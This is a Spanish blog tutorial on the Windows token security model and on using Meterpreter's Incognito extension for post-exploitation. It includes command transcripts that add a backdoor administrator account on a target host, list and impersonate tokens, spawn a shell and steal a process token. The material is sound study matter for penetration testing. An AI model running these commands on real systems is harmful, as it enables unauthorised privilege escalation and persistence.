Meterpreter e Incognito, Impersonalizando Tokens.
METERPRETER, INCOGNITO Y EL MODELO DE SEGURIDAD EN WINDOWS
Modelo de Seguridad Windows
El modelo de seguridad en Windows consiste en el uso de un mecanismo de autenticación/autorización que permite a cada usuario ingresar al sistema con determinados perfiles y con diferentes tipos de privilegios sobre el sistema. En windows cada usuario esta asociado a un Security Identifier (SID) que permite identificar de forma única a cada usuario, un SID consiste de:
S- Nivel de Revision – Valor de Autoridad – dominio o Identificador Local – Identificador relativo
S-1-5-21-46XXXXXXXXXXXXXXXXXXXXX-XXX-1022
Cuando un usuario en Windows se autentica e inicia sesión en el sistema, el siguiente procedimiento es llevado a cabo por el sistema operativo:
-
El sistema intenta consultar que el usuario y la clave ingresada sean correctos de acuerdo a la base de datos interna de usuarios del sistema (SAM).
-
Una vez inicia sesión, el sistema instancia un User Process que tiene asociado a su vez un Primary Token (normalmente se puede ver en los procesos del sistema con el nombre de userinit.exe) que contiene la información asociada al usuario, esta información incluye, SID, privilegios, grupos y configuraciones personalizadas.
-
Posteriormente se instancian varios Threads que dependen del User Process creado, cada uno de estos Threads tiene también asociado el mismo Primary Token asociado al User Process.
-
Cuando un usuario quiere usar algún recurso o ejecutar una operación, dicho recurso/operación tiene asociados una serie de privilegios, el Thread encargado de realizar dicha acción suministra al recurso su Primary Token (que es común a todos los Thread dependientes del User Process) si este Token cumple con los privilegios establecidos por el recurso, el Thread podrá acceder a dicho recurso, en caso contrario se producirá un acceso denegado al recurso/operación.
Una vez comprendido esto, la “impersonalización” de Tokens consiste, básicamente en la creación de Tokens para acceder a determinados recursos falseando la identidad del usuario, por ejemplo:
-
Supongamos que el User Process es un Servidor FTP, un usuario puede acceder a dicho servidor de forma anónima o con una cuenta de usuario valida, en ese momento el proceso FTP tiene el Primary Token creado en el proceso de autenticación/autorización y este a su vez es compartido por todos los Threads creados por el proceso de FTP
-
Un usuario se autentica y por medio de incognito (por ejemplo) crea un token impersonal y con este reemplaza el Primary Token creado por el servidor FTP para un Thread particular, de esta forma, solicita el acceso a un recurso por medio de este token creado e inyectado al Thread.
-
El recurso verifica los privilegios asociados y si los cumple garantiza el acceso, por lo tanto, es posible que dicho token tenga información falsa sobre el SID que realmente esta accediendo a dicho recurso.
Ahora bien, pueden existir dos amenazas relacionadas con “impersonalización” de tokens, Escalado de Privilegios locales, y Escalado de Privilegios de Dominio.
Escalado de privilegios Locales:
Consiste en la explotación de un proceso en la maquina objetivo por medio de un exploit o aprovechando alguna vulnerabilidad del servicio, una vez un atacante accede a dicho proceso, este puede acceder a todos los tokens e impersonalizarlos.
Escalado de Privilegios de Dominio:
Es la extensión del escalado de privilegios locales, pero resulta ser una gran amenaza dado que consiste en la replicación del ataque hacia otras maquinas por medio del proceso explotación usando tokens impersonalizados y de esta forma, acceder a otras maquinas en el dominio (y evidentemente, intentar comprometerlas también), este tipo de tokens son generalmente creados para sesiones interactivas.
Usando Incognito
Con incógnito podemos crear usuarios en la maquina objetivo, y tokens falsos, pudiendo de esta forma crear un usuario perteneciente a cualquier grupo que nosotros deseemos, (como por ejemplo al grupo de los administradores) su uso, como es habitual en los comandos de meterpreter resulta bastante sencillo.
Nota: Es necesario tener privilegios de system para poder realizar esto, por este motivo, se debería utilizar el comando getsystem de meterpreter antes de ejecutarlo, en el caso de que este comando no consiga escalar privilegios de forma adecuada, atentos a la próxima entrada, donde se detallaran técnicas de escalado de privilegios usando Meterpreter de MetaSploit Framework.
meterpreter > use incognito
Loading extension incognito…success.
meterpreter > add_user joss joss
[*] Attempting to add user joss to host 10.130.121.36
[+] Successfully added user
meterpreter > add_localgroup_user Administrators joss
[*] Attempting to add userjoss to localgroup Administrators on host 10.130.121.36
[+] Successfully added user to local group
Por otro lado también podemos conocer los tokens asociados a un usuario o grupo en particular por medio del comado list_tokens
meterpreter > list_tokens
Usage: list_tokens <list_order_option>
Lists all accessible tokens and their privilege level
OPTIONS:
-g List tokens by unique groupname
-u List tokens by unique username
meterpreter > list_tokens -u
Delegation Tokens Available
========================================
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
OWNER\Owner
OWNER\postgres
Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON
Como puede verse, existen diferentes tokens de delegación disponibles para su uso, podríamos utilizar el token Owner o Postgres.
meterpreter > impersonate_token OWNER\\Owner
[+] Delegation token available
[+] Successfully impersonated user OWNER\Owner
meterpreter > getuid
Server username: OWNER\Owner
meterpreter > shell
Process 992 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Owner>echo %USERNAME%
echo %USERNAME%
Owner
Ahora, como hemos impersonalizado los tokens para el usuario Owner, podemos ver el listado de tokens disponibles para dicho usuario:
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
Delegation Tokens Available
========================================
OWNER\Owner
Impersonation Tokens Available
========================================
NT AUTHORITY\SYSTEM
Posteriormente, podemos consultar los procesos en ejecución del usuario Owner y podremos obtener aquellos que se encuentran asociados a dicho usuario, podemos usar el comando steal_token para obtener el token primario del proceso de usuario que nos interese. Por ejemplo, supongamos que el proceso explorer.exe tiene el PID 956, con meterpreter e incognito es tan simple como:
meterpreter > steal_token 956
Stolen token with username: OWNER\Owner
Servicios en TheHackerWay
Deep web: Privacidad y anonimato.
Número de Visitas:
Sobre Adastra:
Soy un entusiasta de la tecnología y la seguridad informática, me siento atraído principalmente por la cultura y los fundamentos del Gray Hat Hacking.
Soy una persona afortunada de poder dedicar mi tiempo y energía en hacer lo que me apasiona, aprendiendo y compartiendo lo aprendido. Con bastante frecuencia iré publicando entradas relacionadas con estudios y técnicas que he ido asimilando a lo largo de mis investigaciones, todas enfocadas a las diferentes facetas de la informática con un énfasis especial en la seguridad.
Saludos y Happy Hack!
Twitter Adastra
- RT @Crazyinnasia: Hmm 🤔 https://t.co/PXtytKJB4a 1 day ago
- RT @Securizame: Hoy estamos en un #curso privado de Python con @olorinj para una empresa en nuestra academia en Madrid. Si tú también quier… 2 days ago
- RT @Securizame: No te pierdas el #curso de #hacking ético básico con el gran @jdaanial ¡Un curso muy recomendado si quieres aprender pentes… 3 days ago
- RT @Securizame: Recuerda que si quieres hacer todos los dos cursos, entrenamiento y certificación práctica de Hacking Ético con @jdaanial,… 4 days ago
- RT @Securizame: Nuestro primer #curso de #hacking para este 2019 es Hacking Ético Básico con el gran @jdaanial ¿Ya tienes tu plaza? ¡No te… 1 week ago
- RT @Securizame: Recordad que ya tenéis disponible nuestro post de noticias y eventos para Febrero. Con un montón de cursos y conferencias q… 1 week ago
- RT @Securizame: ¿Estás definiendo el plan de formación 2019 para capacitar a tu equipo? Si te interesa mejorar la ciberseguridad de tu orga… 1 week ago
Entradas recientes
- CURSOS ONLINE DE CIBERSEGURIDAD QUE SECURÍZAME TIENE PARA EL BLACK FRIDAY
- Actividades básicas a desempeñar en un proceso de explotación y post-explotación.
- Plan de formaciones sobre Hacking en Securízame y certificación RTCP (Red Team Certified Professional)
- Pentesting contra aplicaciones en nodejs – Parte 3
- Pentesting contra aplicaciones en node.js – Parte 2.
- Oferta de formación en Securízame sobre hacking ofensivo (Red Team)
- Pentesting contra aplicaciones en node.js – Parte 1.
- IRCP: la primera certificación de ciberseguridad práctica especializada en Respuesta ante Incidentes y Análisis Forense Digital
- Evadiendo no-exec stacks con técnicas ret2libc
- Vuelve el patito low cost, ahora grazna como un USB Rubber Ducky original
- Get back the low cost duck, now squawks like an original USB Rubber Ducky
- BadUSB Ultra Low Cost
- Cómo inyectar malware en una aplicación Android legítima.
- ¿La externalización de servicios IT quita puestos de trabajo?
- Un breve análisis sobre la censura de Internet en China y los Hackers patrióticos
Entradas
Calendario de Entradas
Blogs Interesantes
Mensajes y Páginas Populares
- 10 sitios en la deep web de TOR que podrían interesarte - Parte 1 de 3
- 20 sitios en la web profunda de TOR que te podrían interesar
- ¿Qué es el Hacking?
- 10 Sitios en la deep web que podrían interesarte - Parte 2 de 3
- Conceptos Básicos de Nikto - Técnicas de escaneo de Servidores y Aplicaciones Web
- Conceptos Basicos de Meterpreter - MetaSploit Framework
- 7 ideas de desarrollo de software enfocadas a la seguridad informática para el 2015
- WEB HACKING - Atacando servidores web vulnerables Tomcat - Parte XXI
- Creando un "Fake" Access Point Inalámbrico
- Comandos y Conceptos Básicos MetaSploit Framework